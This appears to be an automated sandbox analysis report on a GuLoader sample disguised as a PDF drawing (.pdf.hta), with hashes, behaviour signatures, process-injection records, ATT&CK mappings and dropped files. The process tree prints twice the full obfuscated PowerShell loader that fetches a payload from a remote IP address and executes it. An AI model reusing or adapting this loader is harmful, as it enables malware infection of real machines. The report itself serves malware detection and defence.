guloader | fec5bb957bff39fc9d32793d5485483eb901a6a1356e6a25138ae1bb8089d7f7

General

Target
22K9006S-BA-ISO-1001_D79 1065_8 C4 (002) EHT ISO drawings.pdf.hta
Size 24KB
Sample240624-hdggrszamd
SHA256 fec5bb957bff39fc9d32793d5485483eb901a6a1356e6a25138ae1bb8089d7f7
MD5 1234960c4d927466cfbb9897c4af1d0e
SHA1 eb834e095dff7f5f1d2a48d5268495d15cb183d3
SHA512 6f353bdf144dbdd20974445c334833197349da4fc91b6bb0c03c486abdbeefe98db80219b1367fc9fe471f30e8a465e37fa23d62e619108a434228006b8f2806
SSDEEP 768:rFcEgWIfttLKWs1v9erzdu48Ab5wQY+y4rBL1JPWUzmP:ZcEEfXL7snet8Ab5YCBTcP
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	860	powershell.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2096	wab.exe
2096	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2772	powershell.exe
2096	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2772 set thread context of 2096	2772	powershell.exe	34
PID 2096 set thread context of 1184	2096	wab.exe	21
PID 2096 set thread context of 1256	2096	wab.exe	38
PID 1256 set thread context of 1184	1256	net.exe	21

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
860	powershell.exe
2772	powershell.exe
2772	powershell.exe
2096	wab.exe
2096	wab.exe
2096	wab.exe
2096	wab.exe
2096	wab.exe
2096	wab.exe
2096	wab.exe
2096	wab.exe
1256	net.exe
1256	net.exe
1256	net.exe
1256	net.exe
1256	net.exe
1256	net.exe
1256	net.exe
1256	net.exe
1256	net.exe
1256	net.exe
1256	net.exe
1256	net.exe
1256	net.exe
1256	net.exe
1256	net.exe
1256	net.exe
1256	net.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
2772	powershell.exe
2096	wab.exe
1184	Explorer.EXE
1184	Explorer.EXE
1256	net.exe
1256	net.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	860	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1304 wrote to memory of 860	1304	mshta.exe	28
PID 1304 wrote to memory of 860	1304	mshta.exe	28
PID 1304 wrote to memory of 860	1304	mshta.exe	28
PID 1304 wrote to memory of 860	1304	mshta.exe	28
PID 860 wrote to memory of 2816	860	powershell.exe	30
PID 860 wrote to memory of 2816	860	powershell.exe	30
PID 860 wrote to memory of 2816	860	powershell.exe	30
PID 860 wrote to memory of 2816	860	powershell.exe	30
PID 860 wrote to memory of 2772	860	powershell.exe	32
PID 860 wrote to memory of 2772	860	powershell.exe	32
PID 860 wrote to memory of 2772	860	powershell.exe	32
PID 860 wrote to memory of 2772	860	powershell.exe	32
PID 2772 wrote to memory of 2480	2772	powershell.exe	33
PID 2772 wrote to memory of 2480	2772	powershell.exe	33
PID 2772 wrote to memory of 2480	2772	powershell.exe	33
PID 2772 wrote to memory of 2480	2772	powershell.exe	33
PID 2772 wrote to memory of 2096	2772	powershell.exe	34
PID 2772 wrote to memory of 2096	2772	powershell.exe	34
PID 2772 wrote to memory of 2096	2772	powershell.exe	34
PID 2772 wrote to memory of 2096	2772	powershell.exe	34
PID 2772 wrote to memory of 2096	2772	powershell.exe	34
PID 2772 wrote to memory of 2096	2772	powershell.exe	34
PID 1184 wrote to memory of 1256	1184	Explorer.EXE	38
PID 1184 wrote to memory of 1256	1184	Explorer.EXE	38
PID 1184 wrote to memory of 1256	1184	Explorer.EXE	38
PID 1184 wrote to memory of 1256	1184	Explorer.EXE	38

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1184
- C:\Windows\SysWOW64\mshta.exe
  C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\22K9006S-BA-ISO-1001_D79 1065_8 C4 (002) EHT ISO drawings.pdf.hta"
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revaccinations upstart Bodsvelsens Metachemical nonsilver Salgschefens210 Idealized17 Flyverkommando Fabliau Messelite139';$Tinternell = 1;Function Stternisse($Nationalindkomstens){$Augmenterer=$Nationalindkomstens.Length-$Tinternell;$Forlise='SUBSTRIN';$Forlise+='G';For( $Nominalist=5;$Nominalist -lt $Augmenterer;$Nominalist+=6){$Revaccinations+=$Nationalindkomstens.$Forlise.Invoke( $Nominalist, $Tinternell);}$Revaccinations;}function Moskito($Skrankepavens){ &($Urfolkenes) ($Skrankepavens);}$Impulser=Stternisse 'Pul iMpseudoSemipz RyleiRuneslElma.lGelndaTalip/ Spon5Regul.Unint0De.ot time(PajerW JauniStorsn pyrodM lanoGenkewKlvnisProdu De.enNE,airTArbej Dios.1.unfu0Fyred.Inves0Bivir; Tach IdrbmWsam,eiBrandnHelhe6,elau4Jer,i;Ravnk Pa tixscha,6bribe4 Ma,e;Udryd CoercrTablevGloss:Forbr1St,mo2Ghive1Sappy.Laten0Nybyg)Parl. famleGVer aeDys,ecStttekScintoF.mil/Alfae2 ungl0E,ect1Ch,or0Suffi0Beteg1Rumfa0Anlae1Un al .ibyFBegreiRetnirAakane TrkafQuercoMorgexBorgh/D,llf1Tvivl2Trian1.ilie.Forsy0Takle ';$Nightcrawlers117=Stternisse 'FestrUyoungs,eloweFdselr Sank-BalanA AutogbogeyePan.rnP,lemtUdela ';$nonsilver=Stternisse 'ManurhKohattSirbut,oncep Tes :genet/ F,rs/Venes1 Cyto9L.del4Sklms. Fuel5 Uncl9Dryas.unrep3tasta1Pream.T,dss1Stipe8Telen7Isane/SiriaM .utoaMisvasNeu ot GrovoLithoiDevasdBrytheErosioBrikecP,eureTurjanMaleftSal,teIndfasRhizoi estsF.nut.Colorsvgav nPse dpGalva ';$Martinetism=Stternisse 'U.ive>Hymen ';$Urfolkenes=Stternisse 'Co loi SupeeOmgr xEqu.l ';$Uddatafelts='Flyverkommando';$Minasithil = Stternisse 'Unbeve KalicKlanehGrasso Kons Cen r%spaciaSpildp Dekoppar cdTi,byaBombet EneraKarto%Coppe\JargoLovermaVendim B.rgiBathoiAfhaadFakulePraoosEfte,.ForarF,ennee hosls Fore realt&Glane&som,t PrefiePhospcHaplohKaryooPheno Resb.t Indt ';Moskito (Stternisse 'Col u$FlyttgBo,hulDknavoO hambOpsgtaOpar.lOtobl: ,ontPcoveru.kabeeReverbLumbolMooseo prvei ybasAnti e Krog=Grn e(stenbcBarwamUn crdcon,u Infa/Unaw.cRecip Deliq$ Co tMKlippik meln Posta ProgsUdvisiMark t nonphUnderiInd.jl ata)Manc, ');Moskito (Stternisse 'Va df$Skiftg,eathlSeizuoYellpb Da,ya s nglNavne:ForgiMSejldeFdseltSunr aObvolcEtikehThomaeSto.fmi teri,ejsec Suc,aSkydelB.nvn=Dedic$Su.punsko koOvar.n U crsFidgeis,ttll YdervBack.eJann rPancr.UundvsSt ropEvocalOrdreiIranst Opta(Comp.$PilotMMomsnaVtte,rDe,latM.shriSup,rnGynepeNondet natuiOktobsD admmSvige) tann ');Moskito (Stternisse 'polit[ F rtNNonaleSidewt.alen.LinjeS Unste ,essr PolyvFededi ,vercLledee.ugsePStereoAar iiBeskanZorilt,ooknMUnobsaNivelnTommeaCrotog ,meregliffrStkys]Di.tc:Skarn:Dro eSMelane naboc StaluOmstnr EpeniSkurttBedemyUnrigP UnlarCacoeoWindlt,yudco Kirkc UdfooCav,ll .ami rnd=Reinf Sm,l[ phocNHo,ede TygetDemon.TympaSInsuleenrolc EconuX.logrmelonivael.tAmmonyNos,uPFormar ,rnioPentatC.riso FrydcSu,teoIn,galImparTmili,yT blopCaenoeAccid]Hresp:Tilgr:Ali tT OverlDeplosSei,e1,rein2 Trou ');$nonsilver=$Metachemical[0];$Filehugs= (Stternisse ' lobu$EpidogSjofelBendio AllobAnta.aRenselTapet: P.reDAiraeuRygninenfecdIntepe BlitrMorseh HaiteCarniaUnfixd Unfrsdaas,=MyoinN FlleeTapstw Unet-Ban aOJetstbEgo,rjCow eeMod.acHer itBlaah rbeS .vinyRae nsArvebtforbleRindemNeutr. BagsNU cryeBloodtPryta.M croW VideeDoktrbCome C OuzelS.lekiHobb,eHaandnTidsbt');$Filehugs+=$Puebloise[1];Moskito ($Filehugs);Moskito (Stternisse 'Scu d$BarveDFrednuEffe,nDiskedToitoe jlper EftehSo.mee Goura Wa idUn,ims.lagt.ScammHEffloeRespiaProjed .dskePaludr ingusSuffu[Hofl,$BrekrNPerkeiT,mmygSca.ihTroketMarkjcStvknrP,brea PorcwGenerlNonfeerektirfnik sko ke1Rodte1List.7Kakof]Nonsp=Indsm$RummeIAphr.mPiec.pform.uSalgslWa.kesPantoe.lminrGamme ');$kroketkuglerne=Stternisse 'Blgni$ eseDBil.iuTendenOve qd O.ereUnredrMa.tohRus.aeSv.teaRygstdVipersPloug.NglerD.oldboslutnw,ndfonSlrinlPartioN araa PfundBuf oFsmil iSka,tlEp kueHandp(Engil$TrksdnUnloboDigonn El ksHvidviTurrulOversvov,rseSha,arHeret,Gl,om$ HeadE,ilsvxLegitounderr.recubFore i nimt reelaRenssn OvertVelbelSkrapyPhleb)Tumef ';$Exorbitantly=$Puebloise[0];Moskito (Stternisse 'undta$,idragL,tmelS.rpeoAllotbLacusaLiftalDatas:NeglefTr.djaCawkyg AyasbJapanlWeigha.eliddAminas RdkakLuesslTox curevitb A.rjbLollie TentnAands= radr(SheikT LawyeDristsSrklat.evil-anskrPuncoga BalktGd.inhRyeb. M,cro$LysreEjordsx.anseoTu.ghrEnsetbStabliSus etBoileaHexa,nrobbetDi,pelCounty Doe,) Circ ');while (!$fagbladsklubben) {Moskito (Stternisse 'Impac$ RufigTilpal UdstoErantbKarbuaIam.elRe.ec: Hos.SFiberusilens RepapRealveSlau,n.ambod,olkeeKommurSt.tce rembtAfpil=Kra,s$SupertPersprPaaliuEnke.eS.ide ') ;Moskito $kroketkuglerne;Moskito (Stternisse 'KorteSMaddetc,eataKlassrphilotForsk-bl ekS erulA pareBut,ke HoejpClite Nonfl4Beton ');Moskito (Stternisse 'Murst$EldingProtolUntakoPetroblic.eaAfri.l.andb: MiddfFantaa,lowfgC,llobDogmalRetteaHackndJeepesJell,k,hytolGoldfuConsib EquibEbonieUnactnUba,m=Escap(BenzoTG,nereun.els B.uet Sym.-MolluPSpejla SammtArbo,hFe,ev Rigsa$UdskrEResvaxGra io Lkker Ud,ibF.rmgia,tentNykb a VisenLithot,ortalUncolyM,ljb)Divin ') ;Moskito (Stternisse ' St.u$.ntragMuddil Wor.o A tebIndlaaKabysl.elds:TidlnBZippeoBiok,dMa,nssWanghvBrande ,inilr tges F.emeCallinMudcasskibs=Oktae$OutspgDrostl remboUdsk,bIndl.a BarolOu sl:AdresuNaturpN repsOverltHaseraDegrer onttEfter+Tende+ Selv%unmo.$Co,deMAla.aeSymp.tNuntiaNursic tr ghObsceeMicromKunstiChivvc Kuriaven ilRolle.H.nsycOliefoE viluAsthenRund tSchwa ') ;$nonsilver=$Metachemical[$Bodsvelsens];}$Thiobacteriales=300055;$Samspilsproblem=29308;Moskito (Stternisse 'Roa,i$KlinigMe,erl Put.oNedkob HerraBemirl Arb,: MorpFUnshraBoli b,intelPsykeiUnriga GedeuReenu Spri=Bebre TelevG PeteeTarzatRelat-PesteCCamemoTypennIntertU.dereHorrinCytultDmoni Thiaz$.inifE VestxS,ibao Lo.prCelembVikiniNeolotSpe laLigronTheoctVindilGr.tuyPr.te ');Moskito (Stternisse 'Min,s$R.pubgAdverlSprjtoPseudb radraPhy ilCribd: GnavNVattea Syger WhiprImperet,rnenIroko Unnob=Medji Svrn[RockwSFoutryU stisSub,atMil eeOverfmT.tra.UnworCTrianoafbrknCodesvFritieEl enrFolactI tra],antu:Forhe:ga,biFO,igir F,afoDugenmSejp,BUnlocaRaflesOpnoreP,sek6Semiq4D,sseSredbutRea.lrMoraliSekten,amehgF.wne( esat$gekkoFTungeaEvocabFremsl eferi FlydafyllauOwlbe)Fatam ');Moskito (Stternisse 'Unr,s$PneumgMilselH reioRepa bNonvia FugllEk tr:VannePInfillHoloca Savss gyrot,amaooAn agmSel.ieIn.latMahatrPs,udiBere cBruge S,pe= alac Unsen[SubsiSF cifyCollasInstitSkol.eEndebmr gis. criT Re,ieReserxStrdetUrban.AcrogE Out nTroezcTub.loPandodL etiiMegacnlettegTaos ]Feltn:Alrun:.inarAB uskSCran CCarobI MarkIAfkli.GenerGSmaapeP.rcet ndevSFingetS.arpr IncoiOl etnBru,eg D,pl( C ed$AlbumNsnoutaReposrBlyinrKegleeTertin Skol)Sa,sk ');Moskito (Stternisse 'Togp.$ OleagResonl Had,oNonlybNonrhaNasutlHypos:Skat,SAf,igeLagerxAminiuGastraSnirklI,hthe Popu= Ca y$ BetlP HjlplJ,rdba istosLysbitTrollo LunamPropye Indet,agrerSpleniBrddecBumfs.SugarsAleb,uAnstobWiviasBoltrtBreasrbuff.iVandbn NonsgHerpe(Inter$IndopT SurshAntikiI.quio Co yb SpaaaUnrecc.verat Perie Culor Exsui Fe.eaPlumblmerfoeGlohesTri h,G,opo$ImporSRadi a Cinem LacusAnim pLivsfiOink lHalshsBundtpAnd ir Di.moBrugnb PotelSnappe E,ecmHjlpe)Surfa ');Moskito $Sexuale;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:860
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Lamiides.Fes && echo t"
      4⤵
      PID:2816
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revaccinations upstart Bodsvelsens Metachemical nonsilver Salgschefens210 Idealized17 Flyverkommando Fabliau Messelite139';$Tinternell = 1;Function Stternisse($Nationalindkomstens){$Augmenterer=$Nationalindkomstens.Length-$Tinternell;$Forlise='SUBSTRIN';$Forlise+='G';For( $Nominalist=5;$Nominalist -lt $Augmenterer;$Nominalist+=6){$Revaccinations+=$Nationalindkomstens.$Forlise.Invoke( $Nominalist, $Tinternell);}$Revaccinations;}function Moskito($Skrankepavens){ &($Urfolkenes) ($Skrankepavens);}$Impulser=Stternisse 'Pul iMpseudoSemipz RyleiRuneslElma.lGelndaTalip/ Spon5Regul.Unint0De.ot time(PajerW JauniStorsn pyrodM lanoGenkewKlvnisProdu De.enNE,airTArbej Dios.1.unfu0Fyred.Inves0Bivir; Tach IdrbmWsam,eiBrandnHelhe6,elau4Jer,i;Ravnk Pa tixscha,6bribe4 Ma,e;Udryd CoercrTablevGloss:Forbr1St,mo2Ghive1Sappy.Laten0Nybyg)Parl. famleGVer aeDys,ecStttekScintoF.mil/Alfae2 ungl0E,ect1Ch,or0Suffi0Beteg1Rumfa0Anlae1Un al .ibyFBegreiRetnirAakane TrkafQuercoMorgexBorgh/D,llf1Tvivl2Trian1.ilie.Forsy0Takle ';$Nightcrawlers117=Stternisse 'FestrUyoungs,eloweFdselr Sank-BalanA AutogbogeyePan.rnP,lemtUdela ';$nonsilver=Stternisse 'ManurhKohattSirbut,oncep Tes :genet/ F,rs/Venes1 Cyto9L.del4Sklms. Fuel5 Uncl9Dryas.unrep3tasta1Pream.T,dss1Stipe8Telen7Isane/SiriaM .utoaMisvasNeu ot GrovoLithoiDevasdBrytheErosioBrikecP,eureTurjanMaleftSal,teIndfasRhizoi estsF.nut.Colorsvgav nPse dpGalva ';$Martinetism=Stternisse 'U.ive>Hymen ';$Urfolkenes=Stternisse 'Co loi SupeeOmgr xEqu.l ';$Uddatafelts='Flyverkommando';$Minasithil = Stternisse 'Unbeve KalicKlanehGrasso Kons Cen r%spaciaSpildp Dekoppar cdTi,byaBombet EneraKarto%Coppe\JargoLovermaVendim B.rgiBathoiAfhaadFakulePraoosEfte,.ForarF,ennee hosls Fore realt&Glane&som,t PrefiePhospcHaplohKaryooPheno Resb.t Indt ';Moskito (Stternisse 'Col u$FlyttgBo,hulDknavoO hambOpsgtaOpar.lOtobl: ,ontPcoveru.kabeeReverbLumbolMooseo prvei ybasAnti e Krog=Grn e(stenbcBarwamUn crdcon,u Infa/Unaw.cRecip Deliq$ Co tMKlippik meln Posta ProgsUdvisiMark t nonphUnderiInd.jl ata)Manc, ');Moskito (Stternisse 'Va df$Skiftg,eathlSeizuoYellpb Da,ya s nglNavne:ForgiMSejldeFdseltSunr aObvolcEtikehThomaeSto.fmi teri,ejsec Suc,aSkydelB.nvn=Dedic$Su.punsko koOvar.n U crsFidgeis,ttll YdervBack.eJann rPancr.UundvsSt ropEvocalOrdreiIranst Opta(Comp.$PilotMMomsnaVtte,rDe,latM.shriSup,rnGynepeNondet natuiOktobsD admmSvige) tann ');Moskito (Stternisse 'polit[ F rtNNonaleSidewt.alen.LinjeS Unste ,essr PolyvFededi ,vercLledee.ugsePStereoAar iiBeskanZorilt,ooknMUnobsaNivelnTommeaCrotog ,meregliffrStkys]Di.tc:Skarn:Dro eSMelane naboc StaluOmstnr EpeniSkurttBedemyUnrigP UnlarCacoeoWindlt,yudco Kirkc UdfooCav,ll .ami rnd=Reinf Sm,l[ phocNHo,ede TygetDemon.TympaSInsuleenrolc EconuX.logrmelonivael.tAmmonyNos,uPFormar ,rnioPentatC.riso FrydcSu,teoIn,galImparTmili,yT blopCaenoeAccid]Hresp:Tilgr:Ali tT OverlDeplosSei,e1,rein2 Trou ');$nonsilver=$Metachemical[0];$Filehugs= (Stternisse ' lobu$EpidogSjofelBendio AllobAnta.aRenselTapet: P.reDAiraeuRygninenfecdIntepe BlitrMorseh HaiteCarniaUnfixd Unfrsdaas,=MyoinN FlleeTapstw Unet-Ban aOJetstbEgo,rjCow eeMod.acHer itBlaah rbeS .vinyRae nsArvebtforbleRindemNeutr. BagsNU cryeBloodtPryta.M croW VideeDoktrbCome C OuzelS.lekiHobb,eHaandnTidsbt');$Filehugs+=$Puebloise[1];Moskito ($Filehugs);Moskito (Stternisse 'Scu d$BarveDFrednuEffe,nDiskedToitoe jlper EftehSo.mee Goura Wa idUn,ims.lagt.ScammHEffloeRespiaProjed .dskePaludr ingusSuffu[Hofl,$BrekrNPerkeiT,mmygSca.ihTroketMarkjcStvknrP,brea PorcwGenerlNonfeerektirfnik sko ke1Rodte1List.7Kakof]Nonsp=Indsm$RummeIAphr.mPiec.pform.uSalgslWa.kesPantoe.lminrGamme ');$kroketkuglerne=Stternisse 'Blgni$ eseDBil.iuTendenOve qd O.ereUnredrMa.tohRus.aeSv.teaRygstdVipersPloug.NglerD.oldboslutnw,ndfonSlrinlPartioN araa PfundBuf oFsmil iSka,tlEp kueHandp(Engil$TrksdnUnloboDigonn El ksHvidviTurrulOversvov,rseSha,arHeret,Gl,om$ HeadE,ilsvxLegitounderr.recubFore i nimt reelaRenssn OvertVelbelSkrapyPhleb)Tumef ';$Exorbitantly=$Puebloise[0];Moskito (Stternisse 'undta$,idragL,tmelS.rpeoAllotbLacusaLiftalDatas:NeglefTr.djaCawkyg AyasbJapanlWeigha.eliddAminas RdkakLuesslTox curevitb A.rjbLollie TentnAands= radr(SheikT LawyeDristsSrklat.evil-anskrPuncoga BalktGd.inhRyeb. M,cro$LysreEjordsx.anseoTu.ghrEnsetbStabliSus etBoileaHexa,nrobbetDi,pelCounty Doe,) Circ ');while (!$fagbladsklubben) {Moskito (Stternisse 'Impac$ RufigTilpal UdstoErantbKarbuaIam.elRe.ec: Hos.SFiberusilens RepapRealveSlau,n.ambod,olkeeKommurSt.tce rembtAfpil=Kra,s$SupertPersprPaaliuEnke.eS.ide ') ;Moskito $kroketkuglerne;Moskito (Stternisse 'KorteSMaddetc,eataKlassrphilotForsk-bl ekS erulA pareBut,ke HoejpClite Nonfl4Beton ');Moskito (Stternisse 'Murst$EldingProtolUntakoPetroblic.eaAfri.l.andb: MiddfFantaa,lowfgC,llobDogmalRetteaHackndJeepesJell,k,hytolGoldfuConsib EquibEbonieUnactnUba,m=Escap(BenzoTG,nereun.els B.uet Sym.-MolluPSpejla SammtArbo,hFe,ev Rigsa$UdskrEResvaxGra io Lkker Ud,ibF.rmgia,tentNykb a VisenLithot,ortalUncolyM,ljb)Divin ') ;Moskito (Stternisse ' St.u$.ntragMuddil Wor.o A tebIndlaaKabysl.elds:TidlnBZippeoBiok,dMa,nssWanghvBrande ,inilr tges F.emeCallinMudcasskibs=Oktae$OutspgDrostl remboUdsk,bIndl.a BarolOu sl:AdresuNaturpN repsOverltHaseraDegrer onttEfter+Tende+ Selv%unmo.$Co,deMAla.aeSymp.tNuntiaNursic tr ghObsceeMicromKunstiChivvc Kuriaven ilRolle.H.nsycOliefoE viluAsthenRund tSchwa ') ;$nonsilver=$Metachemical[$Bodsvelsens];}$Thiobacteriales=300055;$Samspilsproblem=29308;Moskito (Stternisse 'Roa,i$KlinigMe,erl Put.oNedkob HerraBemirl Arb,: MorpFUnshraBoli b,intelPsykeiUnriga GedeuReenu Spri=Bebre TelevG PeteeTarzatRelat-PesteCCamemoTypennIntertU.dereHorrinCytultDmoni Thiaz$.inifE VestxS,ibao Lo.prCelembVikiniNeolotSpe laLigronTheoctVindilGr.tuyPr.te ');Moskito (Stternisse 'Min,s$R.pubgAdverlSprjtoPseudb radraPhy ilCribd: GnavNVattea Syger WhiprImperet,rnenIroko Unnob=Medji Svrn[RockwSFoutryU stisSub,atMil eeOverfmT.tra.UnworCTrianoafbrknCodesvFritieEl enrFolactI tra],antu:Forhe:ga,biFO,igir F,afoDugenmSejp,BUnlocaRaflesOpnoreP,sek6Semiq4D,sseSredbutRea.lrMoraliSekten,amehgF.wne( esat$gekkoFTungeaEvocabFremsl eferi FlydafyllauOwlbe)Fatam ');Moskito (Stternisse 'Unr,s$PneumgMilselH reioRepa bNonvia FugllEk tr:VannePInfillHoloca Savss gyrot,amaooAn agmSel.ieIn.latMahatrPs,udiBere cBruge S,pe= alac Unsen[SubsiSF cifyCollasInstitSkol.eEndebmr gis. criT Re,ieReserxStrdetUrban.AcrogE Out nTroezcTub.loPandodL etiiMegacnlettegTaos ]Feltn:Alrun:.inarAB uskSCran CCarobI MarkIAfkli.GenerGSmaapeP.rcet ndevSFingetS.arpr IncoiOl etnBru,eg D,pl( C ed$AlbumNsnoutaReposrBlyinrKegleeTertin Skol)Sa,sk ');Moskito (Stternisse 'Togp.$ OleagResonl Had,oNonlybNonrhaNasutlHypos:Skat,SAf,igeLagerxAminiuGastraSnirklI,hthe Popu= Ca y$ BetlP HjlplJ,rdba istosLysbitTrollo LunamPropye Indet,agrerSpleniBrddecBumfs.SugarsAleb,uAnstobWiviasBoltrtBreasrbuff.iVandbn NonsgHerpe(Inter$IndopT SurshAntikiI.quio Co yb SpaaaUnrecc.verat Perie Culor Exsui Fe.eaPlumblmerfoeGlohesTri h,G,opo$ImporSRadi a Cinem LacusAnim pLivsfiOink lHalshsBundtpAnd ir Di.moBrugnb PotelSnappe E,ecmHjlpe)Surfa ');Moskito $Sexuale;"
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2772
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Lamiides.Fes && echo t"
        5⤵
        
        PID:2480
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        5⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:2096
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\SysWOW64\net.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:1256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Lamiides.Fes

Path C:\Users\Admin\AppData\Roaming\Lamiides.Fes
Size 428KB
SHA256 b4ce8f96b8078eb685b1698377d7ff383411e4f0966313634dca744a2b8adec2
MD5 1b20561367326181624414498100e8df
SHA1 5ed392769674c40c817d4e5784bf040bb33920d7
SHA512 1942cdebe96fb9b3fad0035ca9f09a74e87aad93d018ddec59e3fcbbef22437401edc4278f6b6eb7d3866fbd3c65c706507cf43f3297e79190d0e39333001db4
SSDEEP 6144:zNgxssMvELiKw69Px2nF3LZaukk6riHuupLfVmb1a8+4rKb2uDzhEByPTdZKy+2N:Bgx7iKw2EbZaukKuudfIE6k1Pqtzjs
MD5 SHA1 SHA512 SSDEEP

Submit Download

d93f411851d7c929.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Size 7KB
SHA256 b56ac37ba6b4a32dd8fb1823384a972e44c2ab14bfd2d5262a099a8e64334ca6
MD5 6f148d07b96ae92c6c2594ff02e4e5ba
SHA1 1e0efaef1647c1f4155e8bdceeda7de1ae82158f
SHA512 97fe976d35468810424535b094e7135d2c4d3173c148b19d6fc9c8b4e86fe2a5cb870d78b983c5b2e417c1fd3d281523038846e5f873108b445aae476cea93eb
SSDEEP 96:gJOCIQM8xnqvsqvJCwodJOCIQM8xnqvsEHyqvJCworlp7dSLQHlgm1g7s9XlUVg:A2QVUob2QVAHnorlpUYgCg7s9j
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1256-23-0x0000000000150000-0x000000000018F000-memory.dmp

Download

memory/1256-26-0x0000000000150000-0x000000000018F000-memory.dmp

Download

memory/2096-17-0x0000000000A10000-0x00000000043EF000-memory.dmp

Download

memory/2096-24-0x0000000000A10000-0x00000000043EF000-memory.dmp

Download

memory/2772-15-0x0000000006820000-0x000000000A1FF000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads